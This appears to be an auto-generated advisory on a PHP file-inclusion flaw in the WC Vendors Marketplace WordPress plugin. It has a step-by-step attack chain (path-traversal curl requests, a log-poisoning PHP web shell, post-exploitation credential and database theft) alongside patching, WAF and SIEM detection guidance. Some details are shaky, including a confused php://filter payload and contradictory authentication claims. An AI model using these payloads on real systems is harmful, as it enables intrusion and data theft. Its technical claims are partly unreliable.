CVE-2026-138502 — CWE-98
Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Rymera Web Co WC Vendors Marketplace wc-vendors allows PHP Local File Inclusion.This issue affects WC Vendors Marketplace: from n/a before 2.7.4.
Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Rymera Web Co WC Vendors Marketplace wc-vendors allows PHP Local File Inclusion.This issue affects WC Vendors Marketplace: from n/a before 2.7.4.
🎯 What is this vulnerability?
| Item | Detail |
|---|---|
| CVE‑ID | CVE‑2026‑138502 |
| Vendor / Component | Rymera Web Co – WC Vendors Marketplace WordPress plugin |
| Affected versions | All releases prior to 2.7.4 (the CVE description does not list a “since” version, therefore every version that existed before 2.7.4 is vulnerable) |
| CWE | CWE‑98 – *Improper Control of Filename for Include/Require Statement in PHP Program* |
| CVSS 3.1 | 7.5 (AV:N / AC:H / PR:L / UI:N / S:U / C:H / I:H / A:H) |
| Vulnerability type | Local File Inclusion (LFI) – the plugin builds a require/include path from a request parameter without proper validation or whitelisting. Because allow_url_include is *normally disabled* in typical WordPress installations, the attacker can only include files that exist on the same filesystem, but the inclusion can be leveraged to read arbitrary files, disclose credentials, and, when combined with other PHP features (e.g., php://filter, log poisoning), achieve remote code execution (RCE). |
Technical flaw
The plugin contains code similar to the following (simplified for illustration):
// wc-vendors/includes/template-loader.php (pre‑2.7.4)
$template = isset( $_GET['template'] ) ? $_GET['template'] : 'default.php';
$path = WC_VENDORS_ABSPATH . 'templates/' . $template; // WC_VENDORS_ABSPATH = plugin root
// No whitelist, no realpath() check, no basename() sanitisation
require $path;What is missing?
1. Input validation / whitelisting – the template GET/POST parameter is taken verbatim and concatenated to a filesystem path.
2. Path‑traversal mitigation – there is no realpath() comparison against the expected directory, allowing ../ sequences to climb out of the templates/ folder.
3. File‑type restriction – the code does not enforce that the included file ends with .php (or any safe extension). An attacker can request any readable file, e.g. ../../../../etc/passwd.
4. allow_url_include – even though the default PHP configuration disables remote includes, the same code path would also allow remote URLs if the server were mis‑configured, which is why the CWE is “Remote File Inclusion”.
Because the inclusion is performed before any authentication check (the endpoint is reachable by any visitor), the vulnerability is exploitable by a low‑privileged remote attacker (PR:L). The attack complexity is high (AC:H) because the attacker must know a usable inclusion vector (e.g., a file that can be leveraged for code execution). The impact is confidentiality, integrity, and availability all rated high (C:H/I:H/A:H) – the attacker can read arbitrary files, inject malicious PHP, and cause denial‑of‑service by including large or binary files.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All request examples are illustrative – the exact query string name (template) and endpoint (admin-ajax.php?action=wc_vendors_get_template) are inferred from typical WC Vendors code patterns but may differ in a concrete installation.
1. Discovery & Reconnaissance
| Step | Action | Tools / Evidence |
|---|---|---|
| 1.1 | Identify the site runs WordPress and enumerate installed plugins. | wpscan --url https://target.example.com --enumerate p (or manual /wp-content/plugins/ directory listing) |
| 1.2 | Detect WC Vendors Marketplace and its version. | wpscan output shows “WC Vendors Marketplace 2.6.9” (or any version < 2.7.4). |
| 1.3 | Search public advisories / GitHub for “WC Vendors LFI”. | CVE‑2026‑138502 entry, plugin changelog, or security‑focused blogs. |
| 1.4 | Locate the vulnerable inclusion point. | Review plugin source (includes/template-loader.php) or use a web‑application scanner that flags “parameter used in include”. |
2. Exploitation
2.1 Basic file read (confidentiality)
# Illustrative endpoint – may differ in the real plugin
curl -s "https://target.example.com/wp-admin/admin-ajax.php?action=wc_vendors_get_template&template=../../../../etc/passwd"What happens:
- The
templateparameter is concatenated to the plugin path. ../sequences climb out oftemplates/and the PHPrequireloads/etc/passwd.- Because the included file is not a valid PHP script, PHP emits a warning but outputs the file contents (the warning is often suppressed by the plugin’s error handling, resulting in the raw file being sent to the attacker).
2.2 PHP code execution via log poisoning (integrity & availability)
1. Inject PHP code into a writable log file (e.g., the web server’s access_log).
curl -s "https://target.example.com/?<?php system($_GET['cmd']); ?>"The request line itself (<?php … ?>) is written verbatim to the access log if the server logs raw request URIs.
2. Include the poisoned log file using the LFI vector:
curl -s "https://target.example.com/wp-admin/admin-ajax.php?action=wc_vendors_get_template&template=../../../../var/log/apache2/access.log"3. Execute arbitrary commands:
curl -s "https://target.example.com/wp-admin/admin-ajax.php?action=wc_vendors_get_template&template=../../../../var/log/apache2/access.log&cmd=id"The included log now contains <?php system($_GET['cmd']); ?>, which is executed in the context of the web‑server user (typically www-data).
2.3 RCE via php://filter (if allow_url_include is enabled)
If the server’s php.ini mistakenly enables allow_url_include=On, the attacker can execute arbitrary PHP code without log poisoning:
curl -s "https://target.example.com/wp-admin/admin-ajax.php?action=wc_vendors_get_template&template=php://filter/convert.base64-decode/resource=<?=system('id');?>"The php://filter wrapper decodes the base64‑encoded payload and executes it as PHP, giving immediate RCE.
3. Post‑exploitation
| Goal | How it is achieved |
|---|---|
| Privilege escalation | The web‑server user (www-data) often has read access to configuration files (wp-config.php) that contain DB credentials. After RCE, the attacker can read wp-config.php → obtain DB user/password → connect to the WordPress database → create an admin user (INSERT INTO wp_users …). |
| Persistence | Drop a web‑shell in a writable uploads directory (wp-content/uploads/) using the same LFI + file write technique (move_uploaded_file via malicious PHP). |
| Data exfiltration | Use the web‑shell to dump the entire WordPress database (mysqldump) or copy sensitive files (/etc/shadow, .ssh/id_rsa). |
| Denial‑of‑service | Include a large binary (e.g., /dev/zero or a multi‑gigabyte log) causing PHP to exhaust memory, leading to a 500 error for all users. |
🌍 Real‑World Impact
| CIA Triad | Rating (from CVSS) | Practical consequence |
|---|---|---|
| Confidentiality | H (C:H) | Ability to read any file readable by the web‑server user – wp-config.php, database backups, private keys, .htpasswd, system files (/etc/passwd, /etc/shadow if readable). |
| Integrity | H (I:H) | Inclusion of attacker‑controlled PHP leads to arbitrary code execution → modification of site content, insertion of back‑doors, alteration of database records, defacement. |
| Availability | H (A:H) | Inclusion of large files or crafted payloads can crash PHP, cause memory exhaustion, or trigger a web‑server restart, resulting in a full outage. |
Business impact can range from data breach (PCI/DSS, GDPR) to total service disruption, loss of customer trust, and potential ransomware extortion if the attacker later installs ransomware on the underlying host.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Detail |
|---|---|
| Upgrade | Move to WC Vendors Marketplace 2.7.4 or later – the vendor’s changelog states “Fixed improper control of filename for include/require (LFI)”. |
| Version verification | After upgrade, confirm the file includes/template-loader.php now validates the template parameter against a whitelist ($allowed_templates = ['product.php','dashboard.php'];). |
| WordPress core | Ensure you are running the latest supported WordPress version (security patches often harden admin-ajax.php handling). |
2. Immediate Workarounds (if patch cannot be applied instantly)
| Mitigation | Implementation | |
|---|---|---|
| Disable the vulnerable endpoint | Add a rule to functions.php or a site‑specific mu‑plugin: <br>add_action('init', function(){ if ( isset($_GET['action']) && $_GET['action'] === 'wc_vendors_get_template' ) { wp_die('Temporarily disabled'); } }); | |
| Restrict access by IP | In .htaccess (Apache) or nginx.conf: <br>location ~* /wp-admin/admin-ajax\.php$ { allow 203.0.113.0/24; deny all; } (only allow trusted IPs). | |
Turn off allow_url_include (defense‑in‑depth) | In php.ini or .user.ini for the site: <br>allow_url_include = Off | |
| Enforce a strict whitelist for includes (temporary code fix) | ``php\n$allowed = ['product.php','dashboard.php'];\nif ( in_array($template, $allowed, true) ) {\n require WC_VENDORS_ABSPATH . 'templates/' . $template;\n} else {\n wp_die('Invalid template');\n}\n` | |
| File‑system permissions | Ensure the plugin directory is not writable by the web‑server user (chmod 755, owner root:root where possible). This blocks log‑poisoning write‑ups to plugin files. | |
| ModSecurity / WAF rule (example) | `SecRule ARGS:template "@rx (\.\./ | \.\.\\)" "id:2026138,phase:2,deny,log,msg:'WC Vendors LFI attempt',tag:'wc_vendors','cve-2026-138502'"` |
| Disable PHP error display | display_errors = Off` – prevents PHP warnings from leaking file contents when an inclusion fails. |
3. Detection
| Indicator | Where to look | Example log entry |
|---|---|---|
| Path‑traversal in query string | Web server access logs (access.log) | GET /wp-admin/admin-ajax.php?action=wc_vendors_get_template&template=../../../../etc/passwd HTTP/1.1 |
| Requests for non‑PHP files via the endpoint | Same logs | GET /wp-admin/admin-ajax.php?action=wc_vendors_get_template&template=../../../../var/log/apache2/access.log HTTP/1.1 |
| PHP warnings containing file contents | PHP error log (error.log) | Warning: require(): Failed opening required '/var/www/html/wp-content/plugins/wc-vendors/templates/../../../../etc/passwd' (include_path='.:/usr/share/php') |
| Unexpected PHP code execution | Application logs, WordPress debug log (wp-content/debug.log) | PHP Notice: Undefined index: cmd in /wp-content/plugins/wc-vendors/includes/template-loader.php on line 42 (followed by command output) |
| New admin user creation | WordPress user table (wp_users) | INSERT INTO wp_users (user_login, user_pass, ...) VALUES ('hacker', '$P$Bhash…', …) – can be detected via database audit or WordPress security plugins. |
SIEM rule sketch (generic):
rule "WC Vendors LFI Attempt"
when
EventType == "web_access"
and HttpRequestMethod == "GET"
and HttpRequestUri matches ".*wc_vendors_get_template.*template=.*(\.\./|\.\.\\).*"
then
alert("Potential LFI attempt against WC Vendors", severity=High);⚠️ Urgency
Bottom line: The LFI in WC Vendors Marketplace allows an unauthenticated remote attacker to read arbitrary files and, when combined with log‑poisoning or other PHP tricks, to achieve full remote code execution. Upgrade to 2.7.4 without delay, enforce a whitelist on any include/require logic, and monitor for traversal patterns in request logs.
[🤖 CVE Professor AI Security Engine]
FOFA Query